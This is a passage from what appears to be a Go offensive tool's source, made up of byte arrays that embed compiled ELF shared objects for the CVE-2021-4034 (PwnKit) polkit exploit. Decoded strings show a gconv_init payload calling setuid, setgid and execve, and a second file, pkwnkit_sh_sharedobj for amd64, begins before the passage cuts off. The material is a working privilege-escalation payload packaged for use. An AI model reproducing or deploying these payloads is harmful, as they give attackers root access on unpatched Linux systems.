0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 112, 17, 0, 0, 32, 17, 0, 0,
1, 0, 0, 0, 128, 0, 0, 0, 12, 0, 0, 0, 0, 16, 0, 0,
13, 0, 0, 0, 16, 18, 0, 0, 25, 0, 0, 0, 8, 63, 0, 0,
27, 0, 0, 0, 4, 0, 0, 0, 26, 0, 0, 0, 12, 63, 0, 0,
28, 0, 0, 0, 4, 0, 0, 0, 245, 254, 255, 111, 192, 1, 0, 0,
5, 0, 0, 0, 148, 2, 0, 0, 6, 0, 0, 0, 228, 1, 0, 0,
10, 0, 0, 0, 160, 0, 0, 0, 11, 0, 0, 0, 16, 0, 0, 0,
3, 0, 0, 0, 0, 64, 0, 0, 2, 0, 0, 0, 32, 0, 0, 0,
20, 0, 0, 0, 17, 0, 0, 0, 23, 0, 0, 0, 180, 3, 0, 0,
17, 0, 0, 0, 124, 3, 0, 0, 18, 0, 0, 0, 56, 0, 0, 0,
19, 0, 0, 0, 8, 0, 0, 0, 254, 255, 255, 111, 76, 3, 0, 0,
255, 255, 255, 111, 1, 0, 0, 0, 240, 255, 255, 111, 52, 3, 0, 0,
250, 255, 255, 111, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
16, 63, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 70, 16, 0, 0,
86, 16, 0, 0, 102, 16, 0, 0, 118, 16, 0, 0, 28, 64, 0, 0,
71, 67, 67, 58, 32, 40, 71, 78, 85, 41, 32, 49, 49, 46, 49, 46,
48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4, 0, 241, 255, 12, 0, 0, 0, 144, 16, 0, 0, 0, 0, 0, 0,
2, 0, 12, 0, 14, 0, 0, 0, 208, 16, 0, 0, 0, 0, 0, 0,
2, 0, 12, 0, 33, 0, 0, 0, 32, 17, 0, 0, 0, 0, 0, 0,
2, 0, 12, 0, 55, 0, 0, 0, 32, 64, 0, 0, 1, 0, 0, 0,
1, 0, 23, 0, 67, 0, 0, 0, 12, 63, 0, 0, 0, 0, 0, 0,
1, 0, 18, 0, 106, 0, 0, 0, 112, 17, 0, 0, 0, 0, 0, 0,
2, 0, 12, 0, 118, 0, 0, 0, 8, 63, 0, 0, 0, 0, 0, 0,
1, 0, 17, 0, 149, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4, 0, 241, 255, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4, 0, 241, 255, 159, 0, 0, 0, 12, 33, 0, 0, 0, 0, 0, 0,
1, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4, 0, 241, 255, 173, 0, 0, 0, 128, 16, 0, 0, 4, 0, 0, 0,
2, 0, 12, 0, 195, 0, 0, 0, 16, 18, 0, 0, 0, 0, 0, 0,
2, 0, 13, 0, 201, 0, 0, 0, 121, 17, 0, 0, 0, 0, 0, 0,
2, 0, 12, 0, 223, 0, 0, 0, 28, 64, 0, 0, 0, 0, 0, 0,
1, 0, 22, 0, 236, 0, 0, 0, 11, 18, 0, 0, 0, 0, 0, 0,
2, 0, 12, 0, 2, 1, 0, 0, 16, 63, 0, 0, 0, 0, 0, 0,
1, 0, 19, 0, 11, 1, 0, 0, 84, 32, 0, 0, 0, 0, 0, 0,
0, 0, 15, 0, 30, 1, 0, 0, 32, 64, 0, 0, 0, 0, 0, 0,
1, 0, 22, 0, 42, 1, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0,
1, 0, 21, 0, 237, 1, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
2, 0, 10, 0, 64, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 0, 0, 0, 92, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
34, 0, 0, 0, 119, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 136, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 0, 0, 0, 151, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 166, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 183, 1, 0, 0, 125, 17, 0, 0, 16, 0, 0, 0,
18, 0, 12, 0, 189, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 206, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 0, 0, 0, 232, 1, 0, 0, 141, 17, 0, 0, 126, 0, 0, 0,
18, 0, 12, 0, 0, 99, 114, 116, 115, 116, 117, 102, 102, 46, 99, 0,
100, 101, 114, 101, 103, 105, 115, 116, 101, 114, 95, 116, 109, 95, 99, 108,
111, 110, 101, 115, 0, 95, 95, 100, 111, 95, 103, 108, 111, 98, 97, 108,
95, 100, 116, 111, 114, 115, 95, 97, 117, 120, 0, 99, 111, 109, 112, 108,
101, 116, 101, 100, 46, 48, 0, 95, 95, 100, 111, 95, 103, 108, 111, 98,
97, 108, 95, 100, 116, 111, 114, 115, 95, 97, 117, 120, 95, 102, 105, 110,
105, 95, 97, 114, 114, 97, 121, 95, 101, 110, 116, 114, 121, 0, 102, 114,
97, 109, 101, 95, 100, 117, 109, 109, 121, 0, 95, 95, 102, 114, 97, 109,
101, 95, 100, 117, 109, 109, 121, 95, 105, 110, 105, 116, 95, 97, 114, 114,
97, 121, 95, 101, 110, 116, 114, 121, 0, 116, 114, 97, 105, 116, 111, 114,
46, 99, 0, 95, 95, 70, 82, 65, 77, 69, 95, 69, 78, 68, 95, 95,
0, 95, 95, 120, 56, 54, 46, 103, 101, 116, 95, 112, 99, 95, 116, 104,
117, 110, 107, 46, 98, 120, 0, 95, 102, 105, 110, 105, 0, 95, 95, 120,
56, 54, 46, 103, 101, 116, 95, 112, 99, 95, 116, 104, 117, 110, 107, 46,
100, 120, 0, 95, 95, 100, 115, 111, 95, 104, 97, 110, 100, 108, 101, 0,
95, 95, 120, 56, 54, 46, 103, 101, 116, 95, 112, 99, 95, 116, 104, 117,
110, 107, 46, 97, 120, 0, 95, 68, 89, 78, 65, 77, 73, 67, 0, 95,
95, 71, 78, 85, 95, 69, 72, 95, 70, 82, 65, 77, 69, 95, 72, 68,
82, 0, 95, 95, 84, 77, 67, 95, 69, 78, 68, 95, 95, 0, 95, 71,
76, 79, 66, 65, 76, 95, 79, 70, 70, 83, 69, 84, 95, 84, 65, 66,
76, 69, 95, 0, 95, 73, 84, 77, 95, 100, 101, 114, 101, 103, 105, 115,
116, 101, 114, 84, 77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0,
95, 95, 99, 120, 97, 95, 102, 105, 110, 97, 108, 105, 122, 101, 64, 71,
76, 73, 66, 67, 95, 50, 46, 49, 46, 51, 0, 115, 101, 116, 103, 105,
100, 64, 71, 76, 73, 66, 67, 95, 50, 46, 48, 0, 95, 95, 103, 109,
111, 110, 95, 115, 116, 97, 114, 116, 95, 95, 0, 101, 120, 105, 116, 64,
71, 76, 73, 66, 67, 95, 50, 46, 48, 0, 101, 120, 101, 99, 118, 101,
64, 71, 76, 73, 66, 67, 95, 50, 46, 48, 0, 103, 99, 111, 110, 118,
0, 115, 101, 116, 117, 105, 100, 64, 71, 76, 73, 66, 67, 95, 50, 46,
48, 0, 95, 73, 84, 77, 95, 114, 101, 103, 105, 115, 116, 101, 114, 84,
77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 103, 99, 111, 110,
118, 95, 105, 110, 105, 116, 0, 0, 46, 115, 121, 109, 116, 97, 98, 0,
46, 115, 116, 114, 116, 97, 98, 0, 46, 115, 104, 115, 116, 114, 116, 97,
98, 0, 46, 110, 111, 116, 101, 46, 103, 110, 117, 46, 98, 117, 105, 108,
100, 45, 105, 100, 0, 46, 110, 111, 116, 101, 46, 103, 110, 117, 46, 112,
114, 111, 112, 101, 114, 116, 121, 0, 46, 103, 110, 117, 46, 104, 97, 115,
104, 0, 46, 100, 121, 110, 115, 121, 109, 0, 46, 100, 121, 110, 115, 116,
114, 0, 46, 103, 110, 117, 46, 118, 101, 114, 115, 105, 111, 110, 0, 46,
103, 110, 117, 46, 118, 101, 114, 115, 105, 111, 110, 95, 114, 0, 46, 114,
101, 108, 46, 100, 121, 110, 0, 46, 114, 101, 108, 46, 112, 108, 116, 0,
46, 105, 110, 105, 116, 0, 46, 116, 101, 120, 116, 0, 46, 102, 105, 110,
105, 0, 46, 114, 111, 100, 97, 116, 97, 0, 46, 101, 104, 95, 102, 114,
97, 109, 101, 95, 104, 100, 114, 0, 46, 101, 104, 95, 102, 114, 97, 109,
101, 0, 46, 105, 110, 105, 116, 95, 97, 114, 114, 97, 121, 0, 46, 102,
105, 110, 105, 95, 97, 114, 114, 97, 121, 0, 46, 100, 121, 110, 97, 109,
105, 99, 0, 46, 103, 111, 116, 0, 46, 103, 111, 116, 46, 112, 108, 116,
0, 46, 100, 97, 116, 97, 0, 46, 98, 115, 115, 0, 46, 99, 111, 109,
109, 101, 110, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
27, 0, 0, 0, 7, 0, 0, 0, 2, 0, 0, 0, 116, 1, 0, 0,
116, 1, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 46, 0, 0, 0, 7, 0, 0, 0,
2, 0, 0, 0, 152, 1, 0, 0, 152, 1, 0, 0, 40, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
65, 0, 0, 0, 246, 255, 255, 111, 2, 0, 0, 0, 192, 1, 0, 0,
192, 1, 0, 0, 36, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 4, 0, 0, 0, 75, 0, 0, 0, 11, 0, 0, 0,
2, 0, 0, 0, 228, 1, 0, 0, 228, 1, 0, 0, 176, 0, 0, 0,
5, 0, 0, 0, 1, 0, 0, 0, 4, 0, 0, 0, 16, 0, 0, 0,
83, 0, 0, 0, 3, 0, 0, 0, 2, 0, 0, 0, 148, 2, 0, 0,
148, 2, 0, 0, 160, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 91, 0, 0, 0, 255, 255, 255, 111,
2, 0, 0, 0, 52, 3, 0, 0, 52, 3, 0, 0, 22, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0,
104, 0, 0, 0, 254, 255, 255, 111, 2, 0, 0, 0, 76, 3, 0, 0,
76, 3, 0, 0, 48, 0, 0, 0, 5, 0, 0, 0, 1, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 119, 0, 0, 0, 9, 0, 0, 0,
2, 0, 0, 0, 124, 3, 0, 0, 124, 3, 0, 0, 56, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 8, 0, 0, 0,
128, 0, 0, 0, 9, 0, 0, 0, 66, 0, 0, 0, 180, 3, 0, 0,
180, 3, 0, 0, 32, 0, 0, 0, 4, 0, 0, 0, 21, 0, 0, 0,
4, 0, 0, 0, 8, 0, 0, 0, 137, 0, 0, 0, 1, 0, 0, 0,
6, 0, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0, 36, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
132, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0, 48, 16, 0, 0,
48, 16, 0, 0, 80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
16, 0, 0, 0, 4, 0, 0, 0, 143, 0, 0, 0, 1, 0, 0, 0,
6, 0, 0, 0, 128, 16, 0, 0, 128, 16, 0, 0, 143, 1, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
149, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0, 16, 18, 0, 0,
16, 18, 0, 0, 24, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 155, 0, 0, 0, 1, 0, 0, 0,
2, 0, 0, 0, 0, 32, 0, 0, 0, 32, 0, 0, 83, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
163, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 84, 32, 0, 0,
84, 32, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 177, 0, 0, 0, 1, 0, 0, 0,
2, 0, 0, 0, 128, 32, 0, 0, 128, 32, 0, 0, 144, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
187, 0, 0, 0, 14, 0, 0, 0, 3, 0, 0, 0, 8, 63, 0, 0,
8, 47, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 4, 0, 0, 0, 199, 0, 0, 0, 15, 0, 0, 0,
3, 0, 0, 0, 12, 63, 0, 0, 12, 47, 0, 0, 4, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 4, 0, 0, 0,
211, 0, 0, 0, 6, 0, 0, 0, 3, 0, 0, 0, 16, 63, 0, 0,
16, 47, 0, 0, 224, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 8, 0, 0, 0, 220, 0, 0, 0, 1, 0, 0, 0,
3, 0, 0, 0, 240, 63, 0, 0, 240, 47, 0, 0, 16, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 4, 0, 0, 0,
225, 0, 0, 0, 1, 0, 0, 0, 3, 0, 0, 0, 0, 64, 0, 0,
0, 48, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 4, 0, 0, 0, 234, 0, 0, 0, 1, 0, 0, 0,
3, 0, 0, 0, 28, 64, 0, 0, 28, 48, 0, 0, 4, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
240, 0, 0, 0, 8, 0, 0, 0, 3, 0, 0, 0, 32, 64, 0, 0,
32, 48, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 245, 0, 0, 0, 1, 0, 0, 0,
48, 0, 0, 0, 0, 0, 0, 0, 32, 48, 0, 0, 18, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0,
1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
52, 48, 0, 0, 16, 2, 0, 0, 26, 0, 0, 0, 23, 0, 0, 0,
4, 0, 0, 0, 16, 0, 0, 0, 9, 0, 0, 0, 3, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 68, 50, 0, 0, 243, 1, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
17, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
55, 52, 0, 0, 254, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0,
}
================================================
FILE: pkg/exploits/cve20214034/sharedobject_sh_amd64.go
================================================
//go:build amd64
package cve20214034
var pwnkit_sh_sharedobj = []byte{
127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
3, 0, 62, 0, 1, 0, 0, 0, 112, 16, 0, 0, 0, 0, 0, 0,
64, 0, 0, 0, 0, 0, 0, 0, 232, 53, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 64, 0, 56, 0, 11, 0, 64, 0, 28, 0, 27, 0,
1, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
8, 6, 0, 0, 0, 0, 0, 0, 8, 6, 0, 0, 0, 0, 0, 0,
0, 16, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 5, 0, 0, 0,
0, 16, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
0, 16, 0, 0, 0, 0, 0, 0, 197, 1, 0, 0, 0, 0, 0, 0,
197, 1, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
